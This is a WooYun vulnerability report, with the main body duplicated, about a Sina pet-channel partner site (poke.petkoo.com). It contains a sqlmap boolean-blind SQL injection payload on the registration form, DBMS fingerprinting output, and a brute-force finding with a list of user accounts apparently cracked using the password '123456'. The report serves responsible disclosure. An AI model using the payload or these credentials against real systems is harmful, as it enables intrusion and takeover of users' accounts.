当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156589

漏洞标题：新浪宠物频道多处漏洞打包(对接商户把控不严/IIS枚举/用户密码泄露等潜在威胁)

相关厂商：新浪

漏洞作者： Aasron

提交时间：2015-11-29 09:22

修复时间：2016-01-17 10:46

公开时间：2016-01-17 10:46

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-29： 细节已通知厂商并且等待厂商处理中
2015-12-03： 厂商已经确认，细节仅向厂商公开
2015-12-13： 细节向核心白帽子及相关领域专家公开
2015-12-23： 细节向普通白帽子公开
2016-01-02： 细节向实习白帽子公开
2016-01-17： 细节向公众公开

简要描述：

新浪&sina,对接的某个商户的问题

详细说明：

新浪某个宠物频道的注入，实际上是接入商户的问题

http://pet.sina.com.cn


1.png


2.png


http://poke.petkoo.com/Member/Register.shtml


在注册时进行抓包

#1 注入参数:tbLoginName


#2 注入参数:uName


Parameter: tbLoginName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: btMemberAdd=%cd%ac%d2%e2%b7%fe%ce%f1%cc%f5%bf%ee%a3%ac%cc%e1%bd%bb%
d7%a2%b2%e1%d0%c5%cf%a2&checkbox=on&tbDisplayName=oxpqyjvj&tbEmail=sample@email.
tst&tbLoginName='+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(71)+CHAR(49)+CHAR
(85)+CHAR(53)+CHAR(117)+CHAR(113)+CHAR(67)+CHAR(113))+'' AND 9044=9044 AND 'TQKB
'='TQKB&tbPassword=g00dPa$$w0rD&tbPasswordEnter=g00dPa$$w0rD&txt_end=1&__EVENTAR
GUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCAKO4q7KDgK39K/wCQLV4ZnDDwK3jsrkBAL
L3s+dCwKMqLLaDgKtm4ayCQLzksGwBbe1PjPqKSMFuexgTs5U4DbRR+01&__VIEWSTATE=/wEPDwUKLT
Q2MzY2MDQxOQ9kFgICAw9kFgYCFw8PFgIeBFRleHQFATJkZAIZDw8WAh8ABQE0ZGQCGw8PFgIfAAUBNm
RkZKc/RZq1njNDw4l5g+lrurePVR4t&__VIEWSTATEGENERATOR=F50CAB47
---
[14:43:21] [INFO] testing Microsoft SQL Server
[14:43:21] [INFO] confirming Microsoft SQL Server
[14:43:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2012


1.png


对

http://poke.petkoo.com/member/

的目录枚举，前面由于注入知道是IIS7.0

1.png


时间关系，不跑了

2.png


PS:我也不懂

1.png


明文传输并且无验证机制，用户可爆破，根据规则以123456为密码

2.png

下面给出跑出来的账户

432	lingqing	
781	zhangyan	
807	zhanghua	
886	zhangbin	
1171	zhangyan	
1190	zhangyan	
1207	zhanghua	
1309	zhangbin	
1760	zhangyan	
1836	zhangyan	
1904	zhanghua	
2312	zhangbin	
259	zhangying	
869	zhangming	
942	yangyan	
1262	zhangying	
1286	zhangming	
1336	zhangying	
1382	yangyan	
1514	zhangying	
1630	yangyan	
2124	zhangying	
2220	zhangming	
2420	zhangying	
2604	yangyan	
3132	zhangying	
3596	yangyan	
671	chenfeng	
800	chenjing	
813	lichao	
819	wangling	
929	chenling	
961	yangfang	
1070	yangling	
1127	yanghong	
1196	chenjing	
1213	lichao	
1221	wangling	
1362	chenling	
1411	yangfang	
1548	yangling	
1626	yanghong	
1860	chenjing	
1928	lichao	
1960	wangling	
2524	chenling	
2720	yangfang	
3268	yangling	
3580	yanghong	
17	test 	
18	123456 	
56	lufei	
359	xiaowei	
574	lixiang	
615	liulian	
769	limin	
831	wangxin	
840	zhangyu	
861	liuying	
895	wanglin	
1158	limin	
1234	wangxin	
1246	zhangyu	
1277	liuying	
1319	wanglin	
1391	liuying	
1464	wanglin	
1495	zhangyu	
1530	lixiang	
1576	wangxin	
1616	zhangyu	
1708	limin	
1963	wling	
2012	wangxin	
2060	zhangyu	
2184	liuying	
2352	wanglin	
2640	liuying	
2932	wanglin	
3056	zhangyu	
3196	lixiang	
3380	wangxin	
3540	zhangyu	
3	test	
30	yuanyi	
414	lichun	
372	lizhi	
783	liyan	
787	lixia	
1174	liyan	
1181	lixia	
1217	liyan	
1556	liyan	
1772	liyan	
1800	lixia	
1944	liyan	
2690	wjg	
2838	lyy	
2858	ztt	
3154	lyy	
3300	liyan	
3350	ldd	
788	lili	
833	libo	
1182	lili	
1237	libo	
1266	lili	
1610	libo	
1646	ww	
1706	wm	
1804	lili	
2024	libo	
2140	lili	
2482	wm	
3278	yp	
3318	wm	
3516	libo


3.png


4.png


PS:对接入的商户而言也需要严格规范，小问题大危害

漏洞证明：

新浪某个宠物频道的注入，实际上是接入商户的问题

http://pet.sina.com.cn


1.png


2.png


http://poke.petkoo.com/Member/Register.shtml


在注册时进行抓包

#1 注入参数:tbLoginName


#2 注入参数:uName


Parameter: tbLoginName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: btMemberAdd=%cd%ac%d2%e2%b7%fe%ce%f1%cc%f5%bf%ee%a3%ac%cc%e1%bd%bb%
d7%a2%b2%e1%d0%c5%cf%a2&checkbox=on&tbDisplayName=oxpqyjvj&tbEmail=sample@email.
tst&tbLoginName='+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(71)+CHAR(49)+CHAR
(85)+CHAR(53)+CHAR(117)+CHAR(113)+CHAR(67)+CHAR(113))+'' AND 9044=9044 AND 'TQKB
'='TQKB&tbPassword=g00dPa$$w0rD&tbPasswordEnter=g00dPa$$w0rD&txt_end=1&__EVENTAR
GUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCAKO4q7KDgK39K/wCQLV4ZnDDwK3jsrkBAL
L3s+dCwKMqLLaDgKtm4ayCQLzksGwBbe1PjPqKSMFuexgTs5U4DbRR+01&__VIEWSTATE=/wEPDwUKLT
Q2MzY2MDQxOQ9kFgICAw9kFgYCFw8PFgIeBFRleHQFATJkZAIZDw8WAh8ABQE0ZGQCGw8PFgIfAAUBNm
RkZKc/RZq1njNDw4l5g+lrurePVR4t&__VIEWSTATEGENERATOR=F50CAB47
---
[14:43:21] [INFO] testing Microsoft SQL Server
[14:43:21] [INFO] confirming Microsoft SQL Server
[14:43:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2012


1.png


对

http://poke.petkoo.com/member/

的目录枚举，前面由于注入知道是IIS7.0

1.png


时间关系，不跑了

2.png


PS:我也不懂

1.png


明文传输并且无验证机制，用户可爆破，根据规则以123456为密码

2.png

下面给出跑出来的账户

432	lingqing	
781	zhangyan	
807	zhanghua	
886	zhangbin	
1171	zhangyan	
1190	zhangyan	
1207	zhanghua	
1309	zhangbin	
1760	zhangyan	
1836	zhangyan	
1904	zhanghua	
2312	zhangbin	
259	zhangying	
869	zhangming	
942	yangyan	
1262	zhangying	
1286	zhangming	
1336	zhangying	
1382	yangyan	
1514	zhangying	
1630	yangyan	
2124	zhangying	
2220	zhangming	
2420	zhangying	
2604	yangyan	
3132	zhangying	
3596	yangyan	
671	chenfeng	
800	chenjing	
813	lichao	
819	wangling	
929	chenling	
961	yangfang	
1070	yangling	
1127	yanghong	
1196	chenjing	
1213	lichao	
1221	wangling	
1362	chenling	
1411	yangfang	
1548	yangling	
1626	yanghong	
1860	chenjing	
1928	lichao	
1960	wangling	
2524	chenling	
2720	yangfang	
3268	yangling	
3580	yanghong	
17	test 	
18	123456 	
56	lufei	
359	xiaowei	
574	lixiang	
615	liulian	
769	limin	
831	wangxin	
840	zhangyu	
861	liuying	
895	wanglin	
1158	limin	
1234	wangxin	
1246	zhangyu	
1277	liuying	
1319	wanglin	
1391	liuying	
1464	wanglin	
1495	zhangyu	
1530	lixiang	
1576	wangxin	
1616	zhangyu	
1708	limin	
1963	wling	
2012	wangxin	
2060	zhangyu	
2184	liuying	
2352	wanglin	
2640	liuying	
2932	wanglin	
3056	zhangyu	
3196	lixiang	
3380	wangxin	
3540	zhangyu	
3	test	
30	yuanyi	
414	lichun	
372	lizhi	
783	liyan	
787	lixia	
1174	liyan	
1181	lixia	
1217	liyan	
1556	liyan	
1772	liyan	
1800	lixia	
1944	liyan	
2690	wjg	
2838	lyy	
2858	ztt	
3154	lyy	
3300	liyan	
3350	ldd	
788	lili	
833	libo	
1182	lili	
1237	libo	
1266	lili	
1610	libo	
1646	ww	
1706	wm	
1804	lili	
2024	libo	
2140	lili	
2482	wm	
3278	yp	
3318	wm	
3516	libo


3.png


4.png


PS:对接入的商户而言也需要严格规范，小问题大危害

修复方案：

1.验证机制
2.对接商户接口进行整改

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-12-03 10:45

厂商回复：

感谢对新浪安全的支持，此为合作方的安全问题，将通知合作方修复。

最新状态：

暂无